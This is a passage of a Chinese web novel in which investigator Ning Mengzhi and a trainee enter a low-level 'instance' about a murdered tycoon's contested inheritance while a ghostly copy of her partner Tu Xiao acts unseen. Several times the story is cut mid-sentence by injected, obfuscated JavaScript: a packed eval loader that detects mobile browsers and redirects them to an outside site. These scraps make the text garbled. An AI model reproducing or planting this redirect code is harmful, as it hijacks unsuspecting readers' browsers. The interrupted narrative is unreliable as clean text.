以污染对抗污染,从这个思路中诞生的前搜查队的调查员本来就容易拿到副本的控制权。但不知不觉就抢夺了副本核心,他也确实在一定程度上和副本的感情同调了。 眼见着包隋真的喝大了,涂肖也没有再留下的意思。 他准备离开的时候,却被包隋挡了一下,后者本来想要拍涂肖的肩膀的,却被条件反射地挡住。他也没在意,像模像样地痛呼了两声,被涂肖放开了手腕,这才顺利地在涂肖肩膀上拍了两下,语气沉痛地,“兄弟,看开点。” 涂肖:……看开吗? 他抬头看向另一边污染区,回忆着通缉令上那张并不熟悉的面孔,不知道会不会有一天,自己的脸也出现在上面。到那时候,他也会逃到污染区吗? 正想着这些,却听包隋接着,“你们一直在局里,可能不知道……解析后的副本,危险程度下降到可接受范围,会有限制地对外开放。最近一些娱乐公司盯准了这个项目,毕竟副本不是现实,里面的一些规则也相对宽松,他们主打的是提供情感服务。不管你要一晚上的,一周的、一个月的,只要你能出得起价,男的女的变性的,什么类型的都能找得到。” 涂肖一愣,他还真不知道这些东西。 包隋还在絮絮叨叨,“这还都是付费的,也有免费的……他们给提供‘场地’,自己在上面找看对眼的约会,副本不涉及现实,约个炮都不用担心安全问题。” “都是来玩玩的,一出副本就结束了。你们调查局应该更清楚,未免被副本中情感扭曲,稍微正经点的连接仓都附带了情感隔离的效果,这种面向大众的连接仓审查更严。副本里面怎么浓情蜜意,出来了就完了、全完了,不能当真……呜……不能当真啊……” 他说到动情处,忍不住哽咽,看起来很想和涂肖抱头痛哭一会儿。 涂肖:“……” 他反剪了男人手臂,把人脸贴着桌子摁在上面。一直等到对方挣扎渐渐减弱,看起来真的醉死过去,他才松了手,去前台结了账,往外面走去。 A区的基础设备早就年久失修,夜色下的路灯亮一盏暗一盏,时不时就出现一片完全无法照明的黑暗,涂肖漫着步子踏入黑暗,看表情有点轻微的走神。 ——副本和现实隔离,不能当真吗? * 宁孟知告别了白家姐弟就回家了。 在熟悉的地方睡了一觉,醒来后,脑海里那些碎片化的记忆整合了个七七.八八,看起来再过不久就能彻底恢复了。 果然是融合核心带来的后遗症。 宁孟知彻底放下心来。 她咬了一口早餐刚做出来的、喷香扑鼻的三明治,心情瞬间明亮起来。 按照得到的收获来算,这点短暂记忆混乱的代价还是可以接受的。 宁孟知叼着三明治打开电脑,准备着手上个副本的工作报告。 开始前,习惯性地查收了一遍邮箱,除了例行通知之外,还有一份刚刚收到没多久的邮件,来自涂肖,点开来看,里面罗列了几个副本的详细资料。 虽然没有明说,但是宁孟知还是明白了对方的意思:有没有兴趣选择接下来的副本。 宁孟知陷入沉思。 虽然和涂肖相关的记忆还没有完全恢复,或者说是很大一片空白,但是她隐隐觉得不对劲。 对方以前也没有这么主动约她去副本吧? 而且刚刚结束一个副本,通常而言,不是应该休个假吗? 宁孟知犹豫了一会儿,她先是检查了一遍自己和对面的邮件往来,又翻了翻两人的聊天记录,确定自己的判断没错之后,才回复了邮件:[抱歉,涂队,上个副本刚结束,我想先休息一段时间。不如你先找别的搭档?] 确定自己的语气挑不出错来,宁孟知点了发送。 没过两分钟,对面就回复:[好。] 宁孟知:? 她确认了一遍,这是邮件,不是什么即时通讯软件。 所以对方是守着邮箱等待回复吗? …… 虽然之前那份邮件发过去就半是后悔,但涂肖倒不是真的守着邮箱。 他收到了包隋发来的消息,快速浏览过上面的内容,大概确定应鸣亮最后进入污染区位置,也就是正想要给宁孟知解释的时候,他收到了回复。 看着上面的客气疏远的回应,涂肖愣了下。 窗帘紧闭的黑暗室内,屏幕幽蓝色的光冷冷地照亮在脸上,他眼神有瞬间晦涩。好在这情绪刚刚泛起涟漪,就被他就察觉,他抬手揉了揉额角,舒缓了一下情绪,再抬头时,表情已经恢复了正常。 果然还是被上个副本影响了。 * 宁孟知想要休息几天的打算最后还是没能成功,她这边刚刚提交了报告,就被岳阡私戳了,后者和葛彦涵一样,是调查局的后勤。以宁孟知恢复得七七八八的记忆,两人关系还不错。 耐不住后者电话里央求,宁孟知无奈驱车赶往调查局。 岳阡早在外面等着了,看见宁孟知的车牌,连忙迎了上来,宁孟知刚刚下车,对方就双手合十,做了个鞠躬的姿势,“谢谢宁姐大恩大德!” 宁孟知:“少来。你少给我找点事,我谢谢你。” 岳阡:“我这也是没办法了,他们协调出问题,好不容易来个新人,居然没人有空带。调查员和我们后勤不一样,一个个都是宝贝,要是这新人单独进副本出了问题,我可担不起这责任。” 还不等宁孟知开口说什么,对面就冲她挤眉弄眼,“一米八的大帅哥,我够意思了吧。涂哥是不错,但你俩一块下副本这么多次,也没搭档出个什么火花来,试试新人嘛,说不定就看对眼儿了。” 宁孟知:“……” 明明是正常工作合作,偏偏让岳阡说出了一种会所找男公关的语气。 不过她也确实觉得奇怪,按照她和涂肖合作副本的次数,两人的关系也太生疏了。 在宁孟知恢复的记忆里,和涂肖相关的部分还是很模糊。这也很正常,上个副本里面核心感情是“爱”,涂肖在副本里占据了“丈夫”身份,为了避免被扭曲相关记忆,她在这方面的记忆封闭肯定更强。 这么说着话,两人已经进到楼里。 宁孟知远远地隔着玻璃窗,就看见里面的人有点眼熟,等岳阡刷卡开门,里面的青年也起身迎上来的时候,宁孟知也认出了来人。竟然是个熟人,那天在烘焙工作室遇到了活宝姐弟里的弟弟。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497556|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “新来的实习生,白顾。” 岳阡给宁孟知简单介绍了一句,又对着对面,“这是局里的资深调查员,宁孟知。孟知姐可是有S级副本探索经历,刚刚解析成功了一个A.级副本……虽然很少有新人一上来就是C级本,但这种低难度副本难度,孟知姐一个人单刷都没问题,小白你跟着她绝对没问题!” 小白? 宁孟知压下了嘴角的笑,抬手向前:“你好,我是宁孟知。” 白顾:“……你好。” 他差点脚趾抠地挖出三室一厅。怪不得他在烘焙店觉得人眼熟,早在入职前就查过调查局的资料,他见过对方的照片。 遇见上司第一天,发现是自己被强行相亲的对象…… 他就知道白盼那个祸害,一定会给他搞出事来! …… 岳阡不得不找人来带新人的原因,是因为这个C级副本是个新副本。调查局第一次进去探索,只能通过外部情感波动强度进行判定,不知道里面的实际风险。 毕竟是自己第一次正式工作,白顾还是认真地做了前期调查。 在最初的尴尬过去,他勉强平静下来心情,对宁孟知介绍了副本内的情况,“据发现人报告,他进入副本之后,发现自己继承了一大笔遗产,成了一个富豪,过了几个月挥霍无度的生活之后,突然脱离的副本……据他醒后种种遗留的后遗症,他应该在副本里被人杀死了。同样基于这一点,他还残留的记忆很少,几乎没有什么有效信息。” 两人略微商量了几句,决定先进副本再说。 C级副本的情感能量很低,对现实的扭曲有限,即便调查员在里面死亡,出来也只是头疼烦躁记忆混乱等等症状,修养一段时间就能恢复,不用那么警惕。 * 进入连接仓,录入副本登记编号,宁孟知放松心神,将自己的精神彻底浸入其中。 眼前再次恢复光亮的时候,宁孟知发现自己在一个大厅里。 对面是一排摆放整齐的花圈,木质的骨架支撑,深绿的底色中间是黄白的菊花,上面贴着两道挽联,没来得及看清上面的字,先听清楚了上面演讲台上的说话声。 “各位来宾、各位朋友,今天我们怀着沉痛的心情,送别郑先生的最后一程。郑先生为人温厚正直……” 宁孟知瞬间明白过来,这是一个哀悼会。 因为两个人一起进的副本,宁孟知很快就找到了不远处的白顾。 对方下意识地想要往这边走,宁孟知轻轻摇了摇头,还不知道各自在副本里的身份,最好不要在这时候接触。 听完一个又一个冗长的悼词,宁孟知大概弄明白了逝者的身份,这是一位很有能力的企业家,联系副本发现人“继承遗产”的说法,宁孟知猜测这次的副本应当和这份遗产有关。 随着人流上前献花,又有样学样地走过来接下来的流程,耐着性子一直等到哀悼会结束,宁孟知总算找到了确认自己身份的机会。 有一个青年快步走了过来,低声:“嫂子,节哀。” 宁孟知恍然,她在这个副本里的身份是“遗孀”。 这么想着,宁孟知不由抬头看了眼被花朵围绕的黑白遗照。然后,她眼睁睁地看着在自己注视下,那张照片一点点扭曲,渐渐向着熟悉的方向靠拢……不,等等!!停啊!!!! 12.遗产01 发现照片变化的一瞬间,宁孟知就知道是怎么回事。 因为穿越者的身份,她的精神力要比一般人强韧许多,作为调查员有诸多好处,一方面,可以保证自己不受到副本扭曲情感的干扰,另一方面,还可以反过来强行修改一部分副本设定。 记忆中关于涂肖的部分还没有完全恢复,上个副本残留的影响还在。也就是说,在她潜意识认知里,她的“丈夫”应该就是…… 宁孟知使劲掐了一把自己的大.腿。 清醒点!根本不是啊!! 似乎是自我催眠起了效果,照片的变化终于停止。虽然已经发生的改变没有办法逆转,但起码没有和上个副本一样。 宁孟知沉默时间有点久,对面青年面露关切,“嫂子,你没事吧?脸色看起来不太好……” 宁孟知苍白着脸色:“没事。” “吕医生,你来看一看。”青年抬手招呼着的居然是白顾,“你先送嫂子回去,后面的事就交给我吧。” 青年很热心地将两人送上了车,司机明显是个工具类NPC,没有那么高的智能程度。两个人上车之后,都默契地半阖下眸,接收起了副本信息。 白顾融入度没有那么高,很快整理完自己的信息量,“我是郑家的家庭医生,郑先生虽然身体不佳,但是都是慢性的,在开车的途中突发疾病、以致车祸身亡的概率不大。在这之前,原身就有发现雇主的常用药被调换,他因为害怕自己失职被发现,悄悄瞒下了这件事,但之后没多久,雇主就车祸去世,我怀疑这里有人为因素……再加上副本发现人描述——他意外进入副本后继承遗产,没多久却莫名暴毙——我怀疑这个副本的核心情感是‘被人因抢夺遗产而谋杀的不甘和怨恨’,解开的关键是找到郑先生的死因。” 宁孟知点点头,认可了白顾的说法。 知道这个副本主要是让他行动,白顾接着往下分析,“那我们先从调换药物的事查起?” 宁孟知却摇头,“药是‘我’换的。” 白顾明显懵了一下,“……孟、孟知姐?” 宁孟知笑了下,“既然用融入的方式进入副本,凶手也可能就是自己。概率虽然小,也有可能发生。” 白顾看起来很受冲击,隔了会儿才受教点头,“我知道了。” “另外,不要太相信自己从原主身上接收到的信息,人有自我美化的倾向,表层记忆很可能是当事人自我欺骗产生的假象,也有可能不真实。所以即便已经从记忆里得到的信息,也要通过副本里的其他NPC交叉验证。” 至于进一步探索深层记忆,那很可能被副本情感一起扭曲,也就是所谓污染。 没有足够强韧的精神力,最好不要做这种危险举动。 白顾很快领会到宁孟知的提醒:“那孟知姐,你的身份是什么情况?” 最近且最可靠的搜集信息来源当然是同进入副本的同伴。 宁孟知嘉许地点点头,“‘我’在副本里的名字是楚楚,郑世松的情.妇之一。” 白顾:“……” 看着对面人一瞬间不自在起来表情,宁孟知从善如流地换了人称,“好吧,她。” 宁孟知接着解释:“楚楚原本只是对方诸多情.妇之一,但是她怀孕了。郑世松多年未婚,也没有孩子,我猜测这是可能是他自己的身体原因,因此楚楚被检查出来有孕后,就被郑世松从市中心的公寓接到了自己的别墅里,并且两人有意结婚。” 所以才会出现在追悼会的仪式上,又能被郑世松的堂弟兼副手叫“嫂子”。 白顾好像被触发了家庭医生的回忆,“对了,郑先生的精.子质量很低,他一直有做这方面的治疗,效果却不太理想。” 宁孟知点头:“孩子大概率不是郑世松的。或者说,楚楚也不确定是不是。” 短短一句话,信息量有点炸裂。 白顾呆着表情愣在原地。 宁孟知看了白顾一眼,没把“原主很可能和这个家庭医生也有一腿”的事说出来。 睡是没睡过,但是暧昩关系肯定有,要不然原主也没那么容易调换药物。原本的“吕医生”估计也发现些端倪,这才帮忙做了遮掩。但是这事显然对本人来说也是个秘密,白顾融入得不深,只能看到浅表层的记忆,没发现这一点。 这边,白顾总算想起了宁孟知先前那句“药是我换的”,他清了清嗓子,“所以楚楚一方面害怕这孩子不是郑世松、自己被发现,另一方面又希望凭借这个孩子得到郑家的家产,她有足够的行为动机。” 他这么说着,还有点恍惚。 虽说低级副本不会太难,但是他也没想到,这才刚刚进了副本就好像结束了。 宁孟知:“她确实有动机,但如果按照楚楚一直以来的行为模式,在事情没有暴露之前,她更倾向于哄骗郑世松。事实上,她也成功让郑世松相信这孩子是他的,这样的情况下,她没有必要做出换药的举动……除非有人在她旁边不断提醒,她才迫于压力做出这样行动,但这部分的印象非常浅薄,很难从她记忆里找到凶手。” 办法当然还是有的,比如说像上一个副本一样深入原身的记忆回廊,找到连本人都深深埋藏起来的回忆。但是她这次不是来探索副本的,而是来带新人的,不用做到这个程度。 因此宁孟知说完,就转头看向旁边的白顾。 “我明白了。”白顾点头说完,又目露纠结,像是在艰难组织语言,好半天才开口,“孟知姐,那你知道孩子的生父是谁吗?” 他想要从楚楚开始着手,开始自己的调查。 宁孟知却只是笑了笑,并未答话。 白顾连忙眼观鼻鼻观心地收回目光,“好的,我会自己去调查的。” …… 宁孟知并不是故意给白顾上难度,而是原主在这方面的记忆并不清晰。 楚楚靠年轻漂亮得到郑世松的包养,但是以身体交换金钱这件事又让她心生厌恶。所以郑世松不在的时候,她经常跑到酒吧发泄压力。一方面放纵沉.沦于身体感官,十分享受被异性追逐,也因此发生过不少次一.夜.情,但另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504286|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方面,她每次清醒过来,又觉得追逐她身体的男人极度恶心。这样的情况下,她根本不会去记一.夜.情对象的身份。 当然,凡发生过,必定在记忆里留下了印痕。如果深入记忆回廊,还是能够找到线索 但宁孟知的理智提醒她,最好不要这么做。 这个副本的关键是遗产争夺的话,楚楚的情感扭曲明显不是副本核心,如果深入探索,很可能会被拉到其他副本里。副本看似彼此互相独立,但事实上是能够以情感作为交联的道路……想到这里,宁孟知却愣了一下:这不是调查局对外公开的常识,她怎么会知道?她这么做过? 宁孟知隐隐意识到,自己记忆混乱似乎比预想的要严重。 出去以后得想想办法了…… 告别了白顾,宁孟知回到郑家别墅,穿过院子里的喷泉草坪,她缓步走进客厅,一眼就看见一旁桌柜上摆放的合照。 虽然郑世松只是透露了一点结婚的意思,还没有举办婚礼,但由于原主那想上位的小心思,合照上的衣服近似简单样式的婚纱,让人一眼看过去,几乎能错认成婚纱照。 宁孟知:……婚纱照! 上个副本的记忆席卷而来,某些尴尬致死的、拼命想要遗忘的画面重又在脑海中浮现。都失忆了,为什么不连这些东西都一块儿忘了!! 宁孟知胃疼地把照片扣在桌子上,木框一面朝上。 帮佣诧异地看过来,“小夫人?” 而这一瞬间,宁孟知能够感觉到,整个副本的注视都落在了她身上。 像是上个副本里的商场时类似,她违反了这个副本的“规则”。能够以怀孕为由入住别墅,原主也是争夺遗产的成员之一。孩子还没生出来,楚楚和郑世松也没有正式的法律关系,为了争夺遗产,她应该“表演”得很爱这位金主才对。 思绪飞快转过,宁孟知脸色瞬时苍白下来。 她像是很勉强地笑了一下,轻轻按住小腹,低声:“把照片都收起来吧,我看到这些就伤心,对孩子不好。” 帮佣连连点头,“好的好的,我这就收起来!” 副本的注视移开了,但是宁孟知脸色却没有好转。 上个副本里,田漪给的“谢礼”似乎不只是甜点师的技能,她刚才本能对抗,扭曲了部分副本核心。 ……只是一点、应该没事吧? “这都忙活一天了,小夫人快上楼歇一歇吧。” 宁孟知在帮佣的催促下,心不在焉地往楼上走。 就在她身形消失在楼梯尽头的那一瞬间,楼下出现了一个半透明的模糊身影。 一开始还像是从另一个世界投影出来的蜃影,朦胧得看不清模样。他一点点变得凝实,渐渐能够看出来五官,但是眼神依旧迷茫。 像是被什么吸引,他往前走了一步,扶起了桌上倒扣的相框。 看着上面“自己”的婚纱照,青年迷茫的眼神渐渐恍然,他努力回忆了片刻,像是想起了什么,表情一点点笃定。 半晌,他无声轻喃:这是我的妻子。 13.遗产02 追悼会结束的第二天,安排宁孟知提前离开的那位青年就到了郑家别墅。 他是郑从涛,郑世松的堂弟兼副手。亲属关系加工作上的得力助手,他在郑氏集团里占据的分量不轻,能力也十分卓绝。郑世松因为车祸意外仓促离世,集团一下子失了主心骨,多亏了他艰难支撑才没有出大问题。 郑从涛这次也是来办正事的,他一上来就拿出了好几份文件,神色肃穆地,“我知道嫂子你现在没心情谈这个,但是关于哥的遗产的事,越早处理清楚就越有利,对您和孩子都是这样。要是哥还在的话,他肯定也是这个意思。” 宁孟知保持着脸色憔悴的样子,轻轻点点头。 这倒也不用刻意伪装,她本来状态就不太好。在现实的睡眠可以放松,但副本里却不是如此,反而是需要一定的警醒,避免被副本情感影响。大概是因为她昨天强行扭曲了部分核心,昨晚一整晚的“梦境”都在不断重复上个副本的事,田漪的记忆和她的混在一起,让人分不清界限。 而且或许是她的错觉,宁孟知就隐隐有股自己正被注视的感觉。 是因为状态太差了? 宁孟知收敛下这些杂七杂八的思绪,接过对面递过来的文件,问:“这是?” 郑从涛:“我哥五年前做过一次遗嘱的公证,等他去世之后,名下所有资产,包括您现在住的这栋别墅,都归安宜慈善基金。昨天追悼会刚刚结束,基金的主理人就找上了我,拿出了五年前我哥做下的公证,说要回收这些资产。” 宁孟知心道一句果然,她就猜这个遗产的分配没有那么简单。 这么想着,她适时苍白下脸色,“怎么会?他都没想过我,没想过孩子吗?!” 郑从涛对对面这个反应并不意外,刚想要按照早就准备好的内容接着说下去,突然觉得身上一冷,似乎室内温度陡然降了好几度。 郑从涛不自觉地缩了一下手臂,抬头看了眼一旁的出风口。 空调温度开得有点低了? 虽说心下嘀咕着,但郑从涛也没耽误正事,顺势开口安慰:“这正是我要和您说的,公证也要有时效性,那是五年前做的公证,自从您查出怀孕了之后,我哥已经几次授意我改遗嘱。但因为公司事忙,我一直把事情往后推,直到最近才开始着手操作,这是我联系助理和律师的情况。本来事情已经快敲定了,只差最后一步了,我哥想要挑个纪念日,给你一个‘惊喜’,但谁能想到……” 宁孟知顺势低下头,掩下表情轻轻哽咽了几声。 “人算不如天算。但是我哥也就这点遗愿,我不会让您和我哥留下的孩子落得个有家不能回的地步。”郑从涛流露出些克制的悲痛,但紧接着就正色,“这里有几个很擅长遗产案的律师,这是我整理的资料,嫂子先看看。我已经联系过他们,等到稍微晚一点,我让他们来这边,您也好和他们当面谈谈……我这次来,也主要是和您商量这个的。” 宁孟知接过这个新的文件夹,适时露出不知所措的表情。 以楚楚的人生经历,她能想到嫁入豪门,但明显不可能想到“打官司争夺遗产”的程度。所以说,宁孟知才觉得对方之前“换药”的想法很可疑。 郑从涛像是看出了她的担忧,语气安抚开口:“您放心,面试的时候,我也会在场。不管怎么样,我一定给您争取最好的结果。” …… 郑从涛以楚楚怀孕的身体为由,拒绝了别墅的主人亲自送出去。 宁孟知也没坚持,她在二楼落地窗边,看着对方的那辆黑色的保时捷驶出别墅区。 郑从涛也抬头看了一眼,正午的光线照在玻璃上,映出了一个耀目的光斑,而在被亮光扭曲的视野下,他隐隐看见女人身边还站了另一个身影。 心底一跳,郑从涛一脚踩死了刹车。 车子还没开出别墅区,帮主人送别的帮佣见状,奇怪地上前询问,“从涛先生?” 郑从涛这个副手也担任郑世松一部分生活助理,后者还在世的时候,他就常来别墅,为了区分两个“郑先生”,别墅里的人一般都这么称呼。 郑从涛定了定神,再看二楼,明明只站了一个人的身影。 眼花了? 他深吸口气,冲着对方摆了摆手,“没什么,大概这几天没睡好,刚才又被太阳闪了一下。”他说着,苦笑了一声,在车旁的杂物箱里找了找,倒也真的掏出墨镜来戴上了。 那边,确认了郑从涛离开后,宁孟知也找来了家里的阿姨,“赵阿姨,我有点不舒服。您请吕医生来一趟。” 后者哪里敢怠慢,连忙让宁孟知好好歇着,自己过去打电话。 宁孟知本来只是找个理由让白顾来一趟,但是等坐下之后,她真的觉得身体不舒服了。冰冷的感觉紧贴着身体,小腹处好像放着一坨冰块,沉重的压力落在身体上,连想要站起来动作都像是被压制住一样十分困难,就像是被人禁锢在原地一样。 宁孟知虽然没有怀孕的经历,但也知道这绝对不是孕妇该有的反应。 还是她刚才又有哪里的举动违反了副本规则? 没想出个头绪来,却听到不远处“啪”的一声。 透明的玻璃壶摔在地上,砸成了一片片碎片,里面泡着红枣汤溢了满地,还冒着氤氲的热气,刚刚打完电话的赵兰捂着嘴压住唇边的惊呼,哆哆嗦嗦地指向宁孟知。 宁孟知不解:“赵阿姨?” 赵兰眼前还存留着自己刚才看见的画面。男人侧身坐在沙发上,一只手臂半环着女人的肩头,另一只手轻轻搭在女人的肚子上,冷硬的面容掩不住神情关切,活脱脱一个关心怀孕妻子的好爸爸,要不是对方整个人都是半透明的话。 那一瞬间画面好像只是眼花带来的错觉,但是赵兰还是好半天才找回自己的声音,“不、不,没什么,我刚才有点眼花。” 看宁孟知想要起来,她又连忙拦住了人,“小夫人先坐着别动,别让玻璃扎了脚,我马上就收拾。” 她让宁孟知坐着别动,自己匆匆忙忙收拾着地下的玻璃碎片,等到一通忙活结束,她似乎也冷静了许多。犹豫了一下,对着宁孟知建议:“小夫人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509838|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生车祸去世,按照我们老家的说法,那叫横死。横死的人怨气重,咱们要不要请大师来做场法事?” 宁孟知皱眉:“怎么突然说这个?” 赵兰:“……” 她刚才可看见了,虽然那男人长得和郑先生不完全一样,但是眉宇间极其相似,又年轻许多。赵兰猜那是年轻时候的郑先生。 郑先生人死了,但还没走,变成了鬼守在这屋子里。 赵兰嘴唇嗫嚅了几下,终究没把这段话说出口。 现在的年轻人都不信这些,她在人家家里做工,得跟着雇主家里的意思走。这世上,活人的事比鬼难缠多了,起码对赵兰来说如此。 本来郑世松一死,这个别墅的归属不明,家里帮佣下个月的工资都不知道能不能发出来。人走茶凉,死了人死了,活着的人还得谋生路,像是司机管家之类的有能力有人脉的早就物色下一家了,还留在别墅的都是各有各的难处,赵兰也是其中之一。 她有慢性病,是郑家做保姆的时候才检查出来的,但要是不出来工作又不行,家里还有重病住院的老人和正在上学的小孩。郑世松看在她多年工作的情分,才没辞退她,但她要是去别家应聘,光体检这一关就过不了。 种种念头在脑海中闪过,赵兰咽下了准备要说的话,“没什么、没什么,是我胡说的。上了年纪的人,就爱念叨些神神鬼鬼的,小夫人您别放在心上。” 宁孟知探究地看向赵兰,后者却只是低着头收拾玻璃碎片,没有再多说的意思。 她这态度,反而让宁孟知有点摸不准了:她真的只是随便说说? 副本里确实可能存在“鬼”,但这和副本的等级有关系。C级副本的情感能量还做不到这种扭曲,出现超自然现象起码得是B级副本。 宁孟知怀疑地往旁边看了看,视线范围内空空荡荡。 而[涂肖]就站在距离她一步远的地方,静静地看着她。 另一边,赵兰把清扫掉碎片倒到了垃圾桶里,却没有立刻回到客厅。 她找了个方向,双手合十,嘴里念了好几声佛,又小声絮絮叨叨地,“郑先生,您是个仁善人,我知道您放不下小夫人和小少爷,但孕妇受不了阴气,一直纠缠下去对您对小夫人都不好。您要是真的有心,就保佑小夫人官司打赢,留下这房子吧……要我说,那劳什子慈善基金会,都是骗钱的!说是慈善慈善,到头来连孤儿寡母的房子都不放过,小夫人还怀着孕呢,他们就想把人扫地出门,丧良心啊!” 赵兰显然旁听了一阵子郑从涛先前来找宁孟知的那一番话,并且对对方的告知深信不疑。 而这低低念叨的祈祷声也落入客厅里[涂肖]的耳朵里。 [涂肖]在原地站了会儿,似乎蹙眉回忆什么,但终究无果。 过了片刻,他飘到了刚才宁孟知和郑从涛谈话的那个会客厅,之前那几份文件夹还没有收起来,[涂肖]抬手在上面一拂,再拿起来的时候,手上已经是那几份文件的副本了。 他一页一页地翻看过去,眉头也跟着一点点皱紧。 14.遗产03 宁孟知把白顾叫来了别墅,把先前郑从涛拿来的几份文件给了对方看。 “孟……楚姐,”白顾下意识开口之后,忙改口了称呼。 这是宁孟知提醒的,进了副本之后,最好用副本里称呼,免得在关键NPC面前叫错了称呼,平白给自己找麻烦。白顾倒是很听话,但一时还是没法张嘴就是“小夫人”,只能折中地叫一声“楚姐”。 这让宁孟知有点唏嘘,果然新人还是脸皮薄了点。 换成她,在副本里连“老公”都…… 算了,不提黑历史。 白顾没注意到宁孟知的走神,他看完郑从涛处送来的文件,拧眉看向宁孟知,“郑世松刚刚有意更改遗嘱就出了意外,有没有可能是安宜慈善基金会的管理层做的?” “你这么觉得?” 白顾不解看向宁孟知。 宁孟知笑了下,“你觉得郑世松真的想要改遗嘱吗?” 白顾不由地看了眼那个蓝色的文件夹。 里面是郑世松核算资产、联系律师的书面资料,要是没有改遗嘱的意思,他没必要做这些麻烦事。 宁孟知比白顾更知道那些资料里面是什么,“你觉得这里面的材料有多少是郑世松亲自过目的?” 白顾像是脑子有点转不过弯来,“楚姐,你的意思是?” “郑从涛是郑世松的堂弟兼副手,郑世松的许多事情,不管是工作上的还是生活上的,都是交给他办的。更改遗嘱这件事,能证明郑世松意思的,从头到尾都只有一条他发给郑从涛的短信,其他事情都是这个堂弟在办。” “但郑从涛没有这么做的理由啊。他这么大费周章的,又没法从中捞到什么好处。” “要是楚楚的孩子是郑世松的,他当然没有什么好处,但如果不是呢?他大可以借着楚楚的名义,把遗产从安宜基金会抢过来。再之后的事情就简单得多了,对付楚楚可比对付基金会容易多了,特别是她还有被人拿捏的把柄。” 再想得多一点,宁孟知都要怀疑楚楚是不是被郑从涛派人安排的了。 …… 白顾见宁孟知的时候,[涂肖]去了一趟郑氏集团。 郑世松去世得仓促,楼顶的总裁办公室还没有人动过,[涂肖]很容易就从抽屉里找到了那份郑从涛口中“只差做最后公证的遗嘱”。但是他翻看了几页,就面露不满,像是对里面苛刻的继承条件很有意见。 这个念头刚刚一动,纸张上的铅字就一点点扭曲,上面的遗嘱条款发生了变动。 他又想了想,那油墨的铅字变化幅度更大,没过几分钟,竟然变成了一份手写的自书遗嘱,上面签字和日期俱全,有完全的法律效力。 修改到这种程度,对他似乎也非常困难,等到做完,他本来半透明的身影都稀薄了几分,看起来随时可能会消散。 [涂肖]本来想要把这份文件放回抽屉里,但外面的走廊上传来打电话的声音,“……相关文件原件都存放在银行,需要密钥和郑总亲自到场,密钥得董事会全员签字才能取得,后者需要郑总的死亡证明,我得先把流程走完,还需要点时间……” 声音先是接近又渐渐远去,[涂肖]本来准备把文件放回抽屉的动作停.下。 存银行吗? [涂肖]又跑了一趟银行。 等他把这份新鲜出炉的自书遗嘱和公司核心文件存到一起,回到别墅的时候,白顾还没有离开。 [涂肖]经过院子的时候,正好听到别墅保安正闲聊着八卦。 别墅人手走了大半,新雇来的不少临时工,讨论雇主没那么多顾忌,刚死了老公的漂亮寡妇和家庭医生,实在让人想入非非。就算不提别的,俊男美女光看颜值就十分登对。 听着临时工嘁嘁喳喳的议论,资历老的保安忍不住嘲笑起来:“那女人算什么寡妇?不过是郑世松在外头养的个情.妇,怀孕了才被接到这边住,她可不是什么老实人。” 这人这么一说,当即就有年轻人很懂事地敬上一根烟,压低声音问:“李哥,怎么说?” 李振对此十分受用,叼着烟扬了扬下巴,示意对方给点上,一边口中含糊不清地,“郑世松在外面养了那么多人都没有怀上,我瞧着多半是不行,你说这女人怎么怀上的?” 年轻人追问:“您是说,郑先生被戴绿帽子了?” 李振哼笑,“恐怕还不止一顶帽子,那女人——” 话还没说完,一阵阴风吹过来,打火机的火苗顺风而起,燎到了李振的胡须,他被烫得大叫了一声,吃疼往后退,刚退了几步,撞到了后面堆积的建材上。 也就是这堆临时堆积的木头挡住了监控,几个人才有功夫在这儿唠闲嗑。 堆积的木头噼里啪啦地往下掉,李振隐隐听到比木头更锐利的破空声响,他本能地往侧边一让,那东西沉沉地砸在了地上,他低头一看,竟是一把斧头,斧头的刀刃,擦着他的脚面而过,离脚趾不过几厘米的距离。 李振咽了咽口水,背心都被冷汗湿透了。 旁边的年轻人也被木头砸了个够呛,正抱头护着后脑蹲在原地,免得被砸死。 李振看他这模样,火噌噌的就上来了。 一脚踹过去,正想呵斥几句,却兀地止了声。 他分明记得,斧子是放在一旁工具间,怎么会出现在这建材堆里?退一万步说,这边堆着的木头是原本用作景观的小木屋拆出来的,整个拆卸过程是大型机器直接进场,根本没有用到斧子的。 想着刚才那一阵莫名卷过来的风,李振觉得冷汗湿透的背一下子又凉了个透。 * 别墅后院变故期间,宁孟知已经在送白顾出去了。 该告诉的内容都告诉的,剩下的该对方去调查了,但把人送到门口之后,白顾却欲言又止。 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 